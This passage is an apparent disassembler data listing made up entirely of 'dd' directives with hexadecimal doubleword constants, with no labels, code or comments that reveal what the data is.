0A1ED4C6Dh, 60048682h dd 0F89A18B7h, 540834EDh, 0B8005F8Dh, 22816293h, 0FCBE00F0h dd 7D2C14AAh, 2D48C426h, 153E23h, 6F7E5D16h, 0BC679D1Eh dd 0B200BBBCh, 34DD5BB5h, 0A9000FB6h, 8E2EA50Dh, 7E37C71Fh dd 84D000D6h, 45F5A6D1h, 0EA00AA86h, 924D8D56h, 3F406Ch dd 0E517899Dh, 85EFE4A6h, 7D153601h, 677CB005h, 0BF10DCh dd 0DBD4F6AAh, 64805B49h, 0E7C69E00h, 6B25C4D1h, 8DDC00DAh dd 0F3F233C9h, 4700DDD6h, 293C3161h, 0C6FABCh, 0B36E247Dh dd 50CC6621h, 7B3E687Bh, 36037DE1h, 89845762h, 0C8A0AF90h dd 50FD5E5Bh, 37941078h, 1998456h, 0CF6A8102h, 8C6E083Bh dd 28C1DF96h, 65FE0F15h, 0A9015E0Ah, 0D0795BC2h, 0D5715740h dd 0D4DF5A00h, 62B09D74h, 304950FAh, 0F7CD043Dh, 0C7D41535h dd 0A40FC0Bh, 71FD4C1Dh, 0B7137837h, 0CB08E8B8h, 0B98A01DCh dd 49FF4C2Ah, 0C5A9C50Ah, 625C58C5h, 0EF89BE38h, 3E924038h dd 0F61731Ch, 0C7D58776h, 97D6A480h, 0AF0F54E5h, 0E0C6823Fh dd 84C450CBh, 7AFAA073h, 9BE00CDh, 4B540B68h, 0F03B486h dd 0FEEFEC08h, 0CF66B877h, 0EE97D1Ch, 6A477254h, 75823540h dd 7BF80FD4h, 97198814h, 891B00D5h, 0EC60F559h, 62BC0216h dd 79FC33FDh, 0D7E9417Dh, 52AA9540h, 3A407AEFh, 1780EA66h dd 0C76DB11Bh, 0CE3A437Fh, 3425C51h, 0A3C108C4h, 92E3FFF3h dd 0D793A066h, 821A01E7h, 0E53A63C9h, 0F20C077h, 6B2AB700h dd 0D05C30D9h, 48060F9Eh, 0B8302C4h, 19E3CEC0h, 4FC007BAh dd 0B6008438h, 47D7E79h, 54656E16h, 56C435h, 0B2DCBF7Ah dd 0AF896278h, 708A066h, 51F50021h, 816549BFh, 8E12B0B5h dd 104178BBh, 0B88A4052h, 0A2C03C71h, 0FF9D0085h, 0AF0C50BBh dd 0CF031997h, 63411E30h, 39A06E3Ch, 4535EF60h, 11C48756h dd 6784EE9Dh, 0C28093C0h, 8C966FAh, 0BD002196h, 0B74721C6h dd 12C30731h, 7267BAh, 0CCD91BCCh, 0BCE687B4h, 2779CB00h dd 12EE0C41h, 60FF745Bh dd 717D20DEh, 6800D2F4h, 47BB0772h, 1574617h, 0AF2405EBh dd 0D123BDF2h, 2EAE1076h, 740C0046h, 0CAE3CC15h, 3B0EBD9Bh dd 0A048653Ah, 67E92E7Eh, 9DFB0C71h, 49786117h, 0B4186879h dd 2A106EABh, 53850328h, 560E4B37h, 713862A0h, 35699801h dd 6DB6B27Fh, 0A3DEB0C7h, 23D4074Bh, 3038C882h, 68AE101h dd 1E430D01h, 5FEFADB2h, 3CBADFF4h, 0A30F961Ch, 85274D88h dd 5751F3DBh, 0D38C8AF0h, 5C36BD03h, 0C0A72046h, 292D7h dd 82099F2Ch, 866B0380h, 0A8703700h, 0E4998FE0h, 0B7E2BFh dd 9D89BBF7h, 6E441FDEh, 2600E379h, 82973709h, 3A9A65h dd 0CFFBC66Ch, 4F5523C8h, 708CE500h, 0D3E14096h, 2028002Dh dd 0BA89D42Ah, 5001658Bh, 14C69969h, 9470ECDDh, 49E80943h dd 0FD00B63Ch, 6F73A960h, 0A877400h, 5F7E11D2h, 5B781D6Bh dd 8B0680F6h, 0A5F51EE7h, 0BB4C1900h, 53C70418h, 0CCF100C3h dd 0ED901D31h, 0D1C5478h, 0AC0050E5h, 8ABD0992h, 3E967968h dd 0F903FDE3h, 1741ABA0h, 0B2A240DFh, 5100A3CEh, 0BC09DFD2h dd 16844574h, 93C847h, 8990DB1Fh, 200016ABh, 6A565ECAh dd 1D0E23C0h, 82A203h, 534AA065h, 0F70F6C0Dh, 201118CCh dd 62D61488h, 0C4050054h, 23AB31FBh, 801503CBh, 0C090ADEEh dd 27A22297h, 4F9F123Ch, 0F4AF0025h, 2C19A010h, 53EFE71h dd 544D83B6h, 0F83FCBF8h, 0EA702A97h, 1B50096h, 7B3AFF20h dd 3428CA0Dh, 8E0BE08Dh, 0BE2A07h, 6D6CA86Ah, 13C30076h dd 3B4A4359h, 4390C6D6h, 0A8BB7E00h, 8F52456Bh, 482461CEh dd 8CE41Ah, 13819D7h, 2296E5E3h, 40EDD471h, 7C5ABEB4h dd 4003E0FEh, 158BE91Dh, 49BA887Fh, 0C0F06008h, 6596DB4Bh dd 10EFFC30h, 0E26FF57h, 44CF6350h, 0B0CE6Ah, 200DB8F7h dd 0AB00975Dh, 0E6F82595h, 0B049F3EFh, 0BED101ACh, 0E9D3B294h dd 0FC24F81Dh, 13ED6000h, 4DD93A4Ah, 0FAEA80h, 0E14BDFAEh dd 0A69A0D2Ah, 0ECDAE700h, 8EEDF412h, 0EBD500B4h, 0F525F91Ah dd 480FEE61h, 0C7528C1Dh, 0E6C0518Ah, 0B89A7487h, 0E884009Eh dd 899105B6h, 0C5988393h, 527E7300h, 0D2E21BE9h, 8D6E0030h dd 0B060AD19h, 8E00BEBBh, 67595388h, 6039AA37h, 4F64664Ah dd 3650C16Ch, 3D0E2AACh, 0C0E45AC0h, 9048F1A0h, 72430AD3h dd 38B810D5h, 0C5D9C9B0h, 75022EF1h, 11BB61CAh, 813440A5h dd 0FF5F0019h, 3E2FE0AFh, 9B00127Eh, 0F6F30728h, 2CC477CDh dd 570C92h, 7D686164h, 0C7030360h, 38CC57FAh, 9A48022Dh dd 0BEA3882Eh, 61F01043h, 70352E7h, 7303863Ah, 66B0125Eh dd 0A3284017h, 0CCDD580Ah, 18AC7807h, 1E994E6h, 0C2CDB28Ch dd 0FE75ED4h, 9E542E1Bh, 9618A140h, 0AD047B8Ah, 1A42B087h dd 78742490h, 4680A0BEh, 0CB940055h, 1448C6FEh, 18C0BF66h dd 841931A5h, 48EF49EEh, 3EE3B911h, 0E43980C2h, 7A6FA6E6h dd 2438E8F5h, 647F14h, 0D468B18Ah, 0EF02BC30h, 1DCDA0DEh dd 4CE480BEh, 3DFC2Ch, 0E3108ED8h, 3EF32F22h, 0F75DF113h dd 0AB333400h, 4E6CAFh, 0AEC517D8h, 28F588CDh, 8D9FC403h dd 8004DDAAh, 0E3EB9Bh, 0D25B139h, 0A879B5F2h, 7F5A4000h dd 2EBE9352h, 0EAB7002Bh, 39F045DEh, 1C00E006h, 8ED79F5Fh dd 1B7E3AAAh, 8ECB81FEh, 7AC84CC3h, 8700E49Bh, 1DF710E0h dd 5ED9DDh, 5F5F9FFh, 0A5F65AD3h, 0D4FAB203h, 9E27BF9Ah dd 16320030h, 9F8AF88Dh, 6E07DA13h, 69E20E86h, 713CA920h dd 9541155Ah, 0E30F9C18h, 38E0AF90h, 0B0D2E972h, 754D3B00h dd 688D27FDh, 0E01A14B4h, 443CB8DEh, 89B62486h, 0C00A8D3h dd 1C887534h, 0F005582Ah, 68B70A4Eh, 2898236Eh, 0AAD800F0h dd 5D79C2DCh, 1801CD04h, 0E69F5676h, 0A7E4DE52h, 37989h dd 907FB14Ch, 0F5F26287h, 0A44E5A00h, 139E8BE0h, 0BFF600B2h dd 16DBA892h, 0F826012Bh, 0E100CAF3h, 279C2FBCh, 91D100FEh dd 32027F1Fh, 0BA734890h, 927D8A03h, 0C6A73Ah, 0EA43E1D0h dd 57CF64C2h, 0EB236B00h, 0ADC555EEh, 0D0E9C075h, 0A417AEA6h dd 0C4935E8h, 0CF471E44h, 0DC5C1942h, 99304084h, 20D500B3h dd 0ECA11829h, 0A4ECC99Ch, 803080h, 3A9EDDD2h, 92A75E9Ah dd 70284A0Ch, 0CEA20BDh, 0CDDD7142h, 0E70F2931h, 47F8ECD9h dd 0DF50AF88h, 0A14E6h, 0D2023F95h, 0AC76D852h, 20FC8600h dd 0DA08894Bh, 0BA253D29h, 47E28101h, 80B8EA13h, 742BBBB1h dd 0C0DF3A7Eh, 0CB025FD8h, 0A77E371Ah, 10D8ED53h, 93000DFAh dd 0E7DEEBBAh, 72E87311h, 0CEC01700h, 129A87DFh, 9ECC2879h dd 52C600C8h, 68399D64h, 0E318AF02h, 1528D018h, 83192E82h dd 883D0636h, 0B2E309Ch, 6D0F8B98h, 0D401E0BEh, 742E6Ch dd 0D9B0DDFDh, 0EAC1F8C3h, 309D6230h, 488188F2h, 0A00ACEEh dd 0DFE5639Bh, 8000EE8h, 0D9C33770h, 1918E5Dh, 304AFE36h dd 0E13BEE78h, 53DDDC68h, 0B8D35212h, 0BF16B200h, 0C0189h dd 1390A3CFh, 787A2319h, 33704E05h, 28808BDBh, 84C49Bh dd 5307F0CEh, 20EF6D2Ah, 366E4903h, 0A174324Bh, 486057E5h dd 58FB0B7Fh, 7E000CCDh, 0AE8D100Fh, 869F3100h, 36CB64A9h dd 0A45002CCh, 0BBF3E827h, 5469B540h, 0EA5B5500h, 916D19A2h dd 52980E6Ah, 0A6A0CD5Eh, 4D7CDE5Ah, 38AC681Dh, 60DB868Fh dd 765CF57Fh, 856B3A59h, 8004311Fh, 0A771291Eh, 0C50FEE8Bh dd 0E0CB4283h, 15E89E45h, 0F42C00F0h, 0AF672D58h, 7E00FDBAh dd 9B17FE09h, 3FF81E25h, 620039ACh, 0B1A98D50h, 0F10744F9h dd 0AFE7224Eh, 0D6707267h, 9FE560Ah, 0D164A8ADh, 5CF47020h dd 801F3177h, 0D50379ECh, 0D91A6Dh, 0A3E98219h, 0B246EBB5h dd 767B8800h, 2C6B1AD5h, 0B2C27760h, 8DF93F6Ch, 16869500h dd 11B934ADh, 384C745Ch, 1CC900C1h, 382BA441h, 4436009Bh dd 15CE73C0h, 684AA96Eh, 21121058h, 33320FA1h, 0DE41459Eh dd 0C811F67Ah, 88FA6001h, 0E9BC71CFh, 0B7F027E3h, 0CB1C24C0h dd 2B200182h, 0DC0DB957h, 5F218AE2h, 0F3001CB0h, 0F60AC28Ah dd 7836E86Ah, 0F518C7C7h, 4C05C09Ah, 9CB0AA78h, 0C1EA1E00h dd 5B968920h, 0AB180087h, 0E2DA0782h, 99619163h, 0C3168C38h dd 0D14018B7h, 0D0FB2024h, 5BF0A2F5h, 87163800h, 0E3181FD6h dd 28BC7882h, 5048D7FFh, 0C31C2489h, 0B3042020h, 231E26A0h dd 0BB038CB1h, 0B0E766A2h, 0F04DABB9h, 34820004h, 0FB999484h dd 7D1D448Bh, 0A0401283h, 0C1AC9E23h, 277C00F8h, 1D775FF1h dd 0BD0088B9h, 44A5B2Ah, 7F645E7h, 5EFED31Eh, 5436C36Eh dd 506716F0h, 2C006B98h, 0E27B58D2h, 0B5BFE5h, 0C412E309h dd 0BA830791h, 7C196700h, 30CD621Ah, 99E76B8h, 8503B9D5h dd 0B343600h, 0C401752Bh, 0D11E3F07h, 0EAC47D83h, 74E239h dd 7C72E2F8h, 0FABBD229h, 36849A50h, 14809900h, 0A7E03D1Fh dd 43580079h, 98F1464Ch, 0EE0726ECh, 0D8A17DFDh, 0D8E460D3h dd 42C2BDh, 2CD9150Fh, 8B7A7629h, 3C85C72Eh, 38AD2D82h dd 8036C0A5h, 6D3200D1h, 0D26BA987h, 74490249h, 4DFB0040h dd 320FBD4Bh, 21990057h, 42D065C4h, 0F5485D4Fh, 0D7D500FFh dd 2FF20CDEh, 0D9C00E0h, 0B771FB49h, 881D4BC8h, 3105F7DBh dd 4801B7Fh, 7A0BEBh, 2576D954h, 162BED21h, 1AA07818h dd 0F2BA20h, 0CCCB6562h, 6D227AC4h, 0A3DFF00h, 95C70D54h dd 106312ECh, 38E400A0h, 0E4A53382h, 6F6CAB00h, 0D6070A37h dd 28D33ED5h, 0E1F6B780h dd 350686CBh, 2FEAD800h, 4E593981h, 0AF480F80h, 0A5E70FE7h dd 45805BB1h, 9072C1E0h, 3F0F8D7Eh, 0E0A8B358h, 7D0193FFh dd 0D7A128Bh, 0DEB9A050h, 330119E6h, 3D91ECDAh, 182CCD70h dd 80075548h, 6253A94Ah, 0A8C083DCh, 0CC0BE2FCh, 80255BEAh dd 0E1B5A4F4h, 0EC3C0B4Ch, 44901F96h, 0B8A0281Eh, 720F8BA9h dd 60114D75h, 37F35EBBh, 517E009Bh, 0AA1673DAh, 0B007A961h dd 87991DC3h, 5C0CEAC0h, 0F7FC050Dh, 2D9A00Bh, 0B60AEBF9h dd 4617C058h, 44009ABCh, 0DE13F54Eh, 6E277F2h, 0ECC6933Bh dd 1079632h, 588990C3h, 2112C910h, 704B02F4h, 734879ABh dd 920BBB40h, 6472C600h, 0F7598D7Bh, 0A4B9009Eh, 7E540490h dd 5C006D31h, 0AE21B8DEh, 2487CF8Dh, 2CA5360Bh, 2AF008Ch dd 7505C3F6h, 0A10764ECh, 0BF0DC94Fh, 32D0F980h, 0F5A901D8h dd 77864A52h, 3B0CF020h, 40D7C600h, 5E8EA462h, 495200B3h dd 1639BBB9h, 721D0528h, 0F5793622h, 54A438h, 0D4D0A299h dd 13B84CC8h, 0F0BE60BCh, 1F003A82h, 0C3A08412h, 1E9E41h dd 70DCE505h, 0CC04F174h, 2E513000h, 814B60E7h, 26D018F8h dd 853D911Bh, 15F60E18h, 1FC93178h, 8626332Eh, 407B9CD2h dd 348A3800h, 0E3BB6DFEh, 1EE100F4h, 561958A3h, 8401CAB5h dd 715120A4h, 26CC21CEh, 0E6BC054Ch, 1E491C60h, 7E034284h dd 77C3326Ah, 653D5100h, 748599C2h, 136E072Bh, 53D6C33Ah dd 7EC084C5h, 5000FEACh, 7009C8ECh, 0A3C8B9Eh, 94D586E1h dd 68F100C4h, 60A64A6h, 90B02000h, 2BAA6E73h, 9E63052Fh dd 8AC9CFh, 6024D483h, 1A0072EFh, 4ACC95A6h, 39E1B7C6h dd 0EB9F1BB3h, 3F5E007Ch, 6642B8C3h, 0CA159600h, 0E80EDEF4h dd 6A3300C5h, 30188B4Eh, 0BA002332h, 0B347FBCEh, 0D93EA1h dd 9C64CCDDh, 0DF5E8BD4h, 0F8FA5630h, 1576BFh, 7B4986FDh dd 78631490h, 0F90080E0h, 0A94AE64h, 3A782EEh, 0A30719CEh dd 2090E857h, 5401E36Eh, 3467C4Dh, 0A420E218h, 7B4A0079h dd 68E6DA9Eh, 6D1F8436h, 0A3030156h, 0A885D2CAh, 0B32BDFh dd 635BCB0Dh, 0D436659Ah, 0C8004490h, 59DE7528h, 385F9EFh dd 0E633B67Bh, 66F11CEDh, 0E980EB89h, 0F9027626h, 62DC2EEEh dd 5BFDC10Eh, 99D9F840h, 3368000Fh, 0AF6BCE42h, 0C300E2D3h dd 0D8463B77h, 241312h, 0EA22C637h, 70DAE853h, 0EC818C0h dd 676AD3F5h, 3F9C60CBh, 16CF6CC1h, 0BD0E056h, 0F70AB000h dd 0F0B7E0BFh, 83990187h, 36A760EDh, 6C808759h, 203966FEh dd 0CE3FBA58h, 390A4C16h, 179C40h, 3EF0637Ah, 11279A72h dd 4119B100h, 0A385B4CFh, 8A810065h, 792656B3h, 5A01AD4Ch dd 0B89FF8D6h, 0BEF81425h, 92A50C09h, 0B4409D52h, 0B3C40100h dd 9B26DCCAh, 3BE2004Ah, 60BA7CDEh, 230F5208h, 61D3201Ch dd 0F6D0112Dh, 0CB1F8C41h, 0A30ACCh, 0BD445210h, 28ACE8B4h dd 0BE2F3C00h, 0E354C91Dh, 0AA3A07CDh, 0FE16D539h, 148B6241h dd 3185E0EDh, 1568191Fh, 0EB616940h, 0BC4A57h, 0EAEDA686h dd 7C32F1CEh, 35B363Bh, 5021E3Bh, 0BCE80EFAh, 0DD614513h dd 806FB82Fh, 0B714A824h, 1667DE9h, 819ECD5Ah, 0DC047984h dd 540FC476h, 0E0F28E32h, 728701FBh, 0B670162Dh, 0C231021Eh dd 0C60222Fh, 4E00BC12h, 0F0517423h, 0B9BAAAh, 1B9FF9DEh dd 7302BF89h, 0FC4149h, 0EC42CA29h, 5E97A4h, 84109639h dd 0D3C7B0A5h, 0E717F200h, 71808E20h, 0FDEEAFCh, 45B8E519h dd 0B05A6B60h, 0F400D1BDh, 9333E811h, 998577h, 0DA109B27h dd 532B1DCBh, 0B0864C09h, 605C2FD4h, 0B5738D6Ch, 0E4BF002Ah dd 629DD2F4h, 76742742h, 9E0AE706h, 40113FB8h, 2E3D25C7h dd 205C30DBh, 1BD4B4FBh, 0C8F521A7h, 1CEF283Eh, 2A5BF4FDh dd 0FCD5E168h, 533C82C6h, 0CD880F2h, 1845371Fh, 48FAD5F4h dd 55006A29h, 0F539AE09h, 14A46B3h, 4EDAA9F2h, 0EDE1BBF8h dd 0C06EF46Ah, 2B848212h, 46A9CD03h, 0C2ED9811h, 0E81000B5h dd 928E4DBh, 170082DFh, 9497DDEFh, 0C8B660h, 89C54E5Dh dd 0FD1881F6h, 8CB9F860h, 1D4A353h, 0C32117F5h, 872B5BADh dd 58AB9128h, 48EE184Ch, 0A001CC88h, 0C3183EB0h, 0EFFCE975h dd 0FB242910h, 8126F964h, 80F81BF1h, 5C4C4B20h, 0CFED581h dd 37E6636h, 27383260h, 90CD2A91h, 3AD3F000h, 19C2538Eh dd 0EA4B32F5h, 0C4804408h, 3ADC0FF9h, 98CBCA32h, 604701E9h dd 2E4183CFh, 6B9986Ah, 3A663758h, 5576682Ch, 79052200h dd 0D3F134F9h, 3E7D12h, 0A4933BCh, 9A4D29C2h, 80D6A10Eh dd 2CB5C03Ch, 0F6FCE11h, 0A8E8508Ch, 0D02746E7h, 965CF953h dd 0CE01D600h, 7636943Ah, 0AC380097h, 579CF27Bh, 0BC01529Fh dd 1EB5C16Eh, 0A16043A6h, 3C7B0109h, 8EA82761h, 0F4C5D401h dd 10FEA700h, 6B509867h, 0E38A0005h, 0BA3F405Dh, 0DF4CF184h dd 41A01E4Ah, 339A7300h, 0A40116h, 2B6C3426h, 7C15EDDCh dd 744B2700h, 8E36E15Fh, 49FEE5Ah, 8061C578h, 0A84CC0A7h dd 87073E8Fh, 0A02199A6h, 68FB6510h, 0FEC07CE0h, 32C70A94h dd 0D17CCCh, 0FB17EDB7h, 33EC4406h, 62B47405h, 0CAC18A3Eh dd 18D0B087h, 46040020h, 1E30207h, 8900B840h, 0B4560E5Ah dd 0D04CF5h, 3562C03Fh, 1160A39Ah, 0BBCA3B00h, 0C7425FB6h dd 2457594h, 0AE96D8F6h, 0E07786B0h, 0FF3B30Ch, 93759FE3h dd 0B5A0F8EBh, 81CB7199h, 83F761CFh, 0B869B0F0h, 0DB1393h dd 0D14E4494h, 451C4F53h, 3C723700h, 0F0B8568Fh, 930E0091h dd 58748917h, 0F9281DE3h, 8B01E49Bh, 6BFE8246h, 4EF87337h dd 0BB7AE1h, 0ECB454A9h, 29A486D6h, 98ADEB3Ah, 2C39B0C6h dd 0FD850147h, 4162AA3Eh, 0C9D8ECA2h, 74EE3260h, 1C07BF4Ah dd 4065AD31h, 0CED71213h, 697B7883h, 0C908DF03h, 0C8D36E99h dd 39DEE49Eh, 0F0808AA1h, 3F4FB8C1h, 0A4011B2Ch, 0A8E0EE84h dd 0DC401595h, 7E475Bh, 0D85E3F02h, 0B6746420h, 8E99CD03h dd 0F01A6FDAh, 7EBDC5h, 0BC66B168h, 5831D595h, 0D6F6EC04h dd 0CF805962h, 0AB39EDh, 4CDCDA96h, 0AA8C7FCAh, 0A8EA7C7Fh dd 542C7700h, 0FC1744C6h, 0DD3300A4h, 4DECFD13h, 0BE01C766h dd 0CD86AE25h, 88449C11h, 7839A00h, 0E5D8C8h, 9474267Ah dd 4B701193h, 3E59020Fh, 2FC03CD2h, 6AA269A0h, 1C7DB883h dd 0C01219CDh, 66212374h, 0DA007E4Dh, 0AF6CE407h, 59CE3E9h dd 0BE8CAA52h, 0DCB780F2h, 4F0B9ECCh, 8F824881h, 0A73E0C4h dd 130B6EA2h, 455FC7h, 59F7C414h, 20024FCh, 0CCF99B89h dd 0D9D55h, 7332B64Bh, 0EE9287Dh, 0FE007776h, 7B6E71C8h dd 3E8418A5h, 0B18A9AE8h, 39CF728h, 972B7568h, 0F9055C90h dd 0E85DE424h, 91E74F00h, 7EB6011Eh, 3987F4D7h, 2600C78Dh dd 0B1F7ABEEh, 1103910Eh, 0B9FC9B7h, 19086F0h, 0F384ACD6h dd 0DC2D4199h, 80122197h, 9C00068Fh, 0B17C8D71h, 52DC00B9h dd 5CCEDBA7h, 0FF00C822h, 0A293FC97h, 0F45D33A5h, 1B000D1h dd 2F6125B2h, 0B803374Eh, 0F30D76BEh, 0D6CDE010h, 2B1A02B1h dd 0E26FDDA4h, 30A54641h, 0D30BFBE7h, 434C9Fh, 0A99A66E6h dd 522001E3h, 30700848h, 0DCD4FC6Fh, 0EDAED100h, 0EEC50944h dd 0A6C30717h, 40E25877h, 81C46A5Dh, 1E23400Eh, 2C3C67CBh dd 7A73E490h, 98E413h, 2A75CE33h, 6DD91415h, 46A1BE01h dd 2072A5DAh, 7B493080h, 6AAB52B4h, 95978800h, 2A1766CBh dd 0F75400F0h, 4CD61EA1h dd 9900AD50h, 32D9F6F1h, 0AEFCB6h, 436618ECh, 0A11EE3B2h dd 0C846A500h, 489C0D8Fh, 0BFAA00FAh, 0F609F3A9h, 40000B0Ah dd 96211901h, 0FFB0F35h, 32E9568Ch, 0E65AB4A0h, 0D203F86Bh dd 337454ABh, 108B800Dh, 0DEA8DE42h, 44128E39h, 8F67DAA0h dd 4A3AC8A6h, 0AF170C98h, 3AC04Dh, 0FB5D4E9Fh, 56D9F558h dd 64E8FC00h, 251E6507h, 0CFE6002Ah, 9A54DDB1h, 0AB0E0339h dd 0FE56D182h, 5740BFDEh, 0C2E2A084h, 786F58DEh, 0F029A318h dd 5940F5D8h, 40510088h, 873F8EDh, 3601F685h, 0F5C1153h dd 108060A4h, 0F7DE76AEh, 8000D30Ah, 2965D869h, 57161Bh dd 0EEE5B87h, 5A1C7BA1h, 2C45A205h, 0A3C035C2h, 7DB84281h dd 4127013Bh, 632B3D06h, 0F35980C8h, 0D3058B1h, 9080FB75h dd 7890BF50h, 0AA071C39h, 1E037CAFh, 0D7A61610h, 1A7F5C3Fh dd 41EE9500h, 0B292B5AAh, 25149B74h, 288C48A7h, 807A8E2h dd 0EF2D5A7Eh, 0B77102h, 0E5CCADDCh, 9E690900h, 5C357F96h dd 0AF0100F7h, 0C4C3CCDh, 33378B22h, 0B03030B6h, 1B647504h dd 611197E7h, 0BA027614h, 77900E4h, 0BF1FC984h, 204960B9h dd 0D9AF5D90h, 298DDE07h, 0C3216B14h, 0EC206EE1h, 42A00B3h dd 18E38041h, 0E60126F0h, 0CD2F5512h, 39601072h, 794B4881h dd 0D19C1700h, 25C38BB1h, 74F2E303h, 0A0F55491h, 72027637h dd 2B9003ADh, 0EA0165B9h, 0F64B94F0h, 0E160240Bh, 0E8BB80BCh dd 752E7Ah, 407FCD58h, 5A951A8h, 345D8502h, 60F72A1Bh dd 0F293B24Dh, 747205ECh, 1DEDBCh, 0E20C08C0h, 170F3B45h dd 80EF8557h, 0FBF29C28h, 0BDF10383h, 94806689h, 4F3872A8h dd 30DB1907h, 13E06BD5h, 3C1C8Bh, 6AE099F4h, 5D4B7511h dd 0CD9B0E00h, 0E1A88147h, 38690040h, 0E6581A36h, 2B00B80Dh dd 90B78F27h, 604C19D2h, 868C11FFh, 0A700E957h, 0BCDED493h dd 8371DBh, 52C0C889h, 0F2D22AE4h, 7F87B500h, 0E9EC2E5Bh dd 59AA00E1h, 7B1F7060h, 7400A76Dh, 749CFA1h, 5E519h, 6B7A826Ch dd 0D80BDFDEh, 35973012h, 802B9049h, 0C2AF9F08h, 0E863005Eh dd 87FF7D0Ah, 4003673h, 6997D0F8h, 30F7895h, 85A24DD1h dd 63F0EF17h, 6A0381FDh, 0CD27DEDDh, 3192B0A4h, 55CE0470h dd 80CC86C1h, 1957FD7Ch, 0A367ABF0h, 0B2876711h, 22BC48C0h dd 18436162h, 803950E5h, 295BE99h, 0E88DB49Fh, 40A0009Eh dd 98F701CBh, 2C3970B9h, 50EA00EFh, 3DB7584h, 655902D8h dd 0EB5CDCBCh, 1EB361C0h, 7E447C1Dh, 0B50374FEh, 0FD57C9BDh dd 5A98804Bh, 3FCC9267h, 0E53319F2h, 807C1D98h, 4FE7BB00h dd 8762E039h, 28500BCh, 7F46CBFBh, 6101FFF0h, 9135A9E5h dd 57304FD8h, 3870272h, 73EA40E0h, 67BC248Ch, 0D06DBE33h dd 0B401E4AAh, 462EE57Ch, 8484B878h, 198EE300h, 37D25DB5h dd 0EF4B0050h, 3968EB14h, 36130DA4h, 0E3003F97h, 5FE75D40h dd 0DC3A1ECAh, 0A9124010h, 0DBE9730Eh, 2CB11309h, 4983D7F7h dd 0CBF8B08Ch, 0E4006611h, 0F5E3430Ch, 90502Fh, 82793634h dd 0DE48FF0Bh, 46F8BD07h, 0E240E962h, 0C0644DC4h, 9EAB49D1h dd 4800A1DFh, 0EC06803Fh, 32445Bh, 99E6D693h, 1E927136h dd 68969800h, 1131ACDCh, 6A550035h, 0F4FB8BB3h, 5D1F0DB9h dd 2AC92399h, 0FFB4009Bh, 91E85813h, 0D96E002Ch, 5710BCC5h dd 564A904h, 9CD067C9h, 66D37891h, 30FC506Eh, 35009BFCh dd 3D02E12Ch, 7F6785C1h, 272000D1h, 0C90D9F60h, 630E4182h dd 0C0E32C6Fh, 726B84CCh, 0A3883FE2h, 0BC80FCBEh, 165C36F7h dd 0EE3A83E4h, 0E73D002Ah, 0B1AE98E0h, 12B9008Dh, 24C4B82Ch dd 15F04503h, 85B25C00h, 70DE31E1h, 8C280B82h, 0C0067F5h dd 94E413C1h, 5CAD221Dh, 27D55589h, 0FFE0380Ch, 309E32EFh dd 0A2D84D1Bh, 0C000156Dh, 0DF8FB5DEh, 28E26529h, 8CD30Eh dd 9A95B168h, 7926A430h, 4BA860C0h, 44027D6h, 4D44C02Bh dd 6DC0D00Fh, 89000A23h, 0F80C48FEh, 12592094h, 406537ADh dd 15E96E34h, 520FFCB5h, 80BF80E5h, 6726E4FBh, 233E0081h dd 2725EE94h, 32002A98h, 6488BDDAh, 9640C3h, 4222ECA8h dd 0E8A55E0Ch, 17D55A00h, 748BFC2Dh, 0CE660082h, 0A9963510h dd 1C00D757h, 0CCFFF2EAh, 24699Ah, 0C0CD5636h, 4B662304h dd 84E4B83Dh, 189D3140h, 6C50D0D7h, 211CAE1h, 9082BDDDh dd 0D4826A86h, 0ECE00589h, 0AA01667Ah, 0AFABC807h, 0B6E819F6h dd 0D6F2120Ah, 6AD2005Eh, 0F13B4720h, 0CF5BDD18h, 0AC5D28h dd 7A0E67A1h, 0C05A4C8Ch, 2D718A05h, 0D4042695h, 0E440BBF6h dd 560B0F31h, 0EC63E12Ch, 0E0647005h, 0A6A9C040h, 9758E6h dd 4202E778h, 53C596A3h, 0F37C5A00h, 0FEAF3DB9h, 96700D5h dd 5EB36BD8h, 4828BF3Fh, 0B839C826h, 9D0C01A7h, 0A2012757h dd 0F77990h, 70AF903Fh, 0E28079C7h, 1B24005Ah, 0BC7F6429h dd 0BA0C91B1h, 0D8F5B376h, 60E4AA4Ah, 16CA998h, 24728A3Eh dd 0ECC77A0Bh, 0CB2838F7h, 0D3009C06h, 2B19349Bh, 1EF574Eh dd 78C05F97h, 0E83D7E77h, 6A4D9B09h, 0E8560090h, 7BFB6106h dd 0E3DA136Fh, 0C513E7h, 0A9E0220Fh, 5C010510h, 0AE5933A0h dd 0C7604F2Fh, 0F306007Ah, 0BD25E8B6h, 70171A3h, 0F4508F70h dd 33E49957h, 82FB308Ch, 1BF24848h, 0C8DA6600h, 0AFF1282Eh dd 2DB800E6h, 4B229E74h, 0B417B1A2h, 50006001h, 0CCD51FBEh dd 5A680199h, 8D13AB85h, 0DC54707Bh, 0AC9D5102h, 0C85634B2h dd 0E833CCh, 37687FFDh, 3C439399h, 90737728h, 0DB1DC173h dd 3E806007h, 0FCB1FD81h, 8294A26h, 0A60B3A9Ch, 50BC006Bh dd 56DC9Dh, 87414E9Fh, 722825AAh, 0C230190Ch, 36286E8h dd 34319DD4h, 0B0074087h, 188F8EE4h, 80281C80h, 0CCEA583Dh dd 0F34BF601h, 0FC60E1CCh, 3B1E48DFh, 0D4EE92F7h, 7E9CA14h dd 942B212Ch, 0C0C73672h, 922259D8h, 0BB7407E4h, 0A221E753h dd 4C40BF1Bh, 0B200D84Eh, 8369BCB1h, 512C8A1Dh, 3040FC6Bh dd 13EE74h, 75AFF263h, 0F31695CEh, 331C2401h, 0DF2138F0h dd 58E392FCh, 0D8267CFAh, 27190A8Ch, 101103C8h, 7180C853h dd 58923ED7h, 264EBD00h, 2A49A7B6h, 0C8830038h, 0E8D8F6F1h dd 5090A648h, 0F453AC03h, 2E7D54C4h, 3C6010h, 4A414C68h dd 18071A73h, 0F6623315h, 0E0CCAA03h, 8A5DA2h, 28FBCADAh dd 0B301AD1Ch, 912E18FAh, 0EF0456F6h, 0C1879FB9h, 29C036A0h dd 0C12D02F1h, 94C434A0h, 19B1AF60h, 0E72C680Eh, 0F201C088h dd 0BBD9Ch, 6C678FBCh, 0A9B82EB0h, 0A7698000h, 9E90F939h dd 0DB770016h, 495FA3Bh, 0CE0043A4h, 0AF56C725h, 81DA4Bh dd 319902F2h, 186A9C57h, 259ABA07h, 0EF60A223h, 0B3EEAEh dd 5EC3B530h, 0B0A8471Dh, 79C06200h, 0A4E1A251h, 0EEE70098h dd 4F7C5F8Ah, 0FB3F3465h, 0CD7A80ADh, 0EB451A0Eh, 0EEC71DD2h dd 0A7A2C306h, 0DDE863C9h, 0BF00944Dh, 7DE39A6Ch, 76923C51h dd 0A8B25Bh, 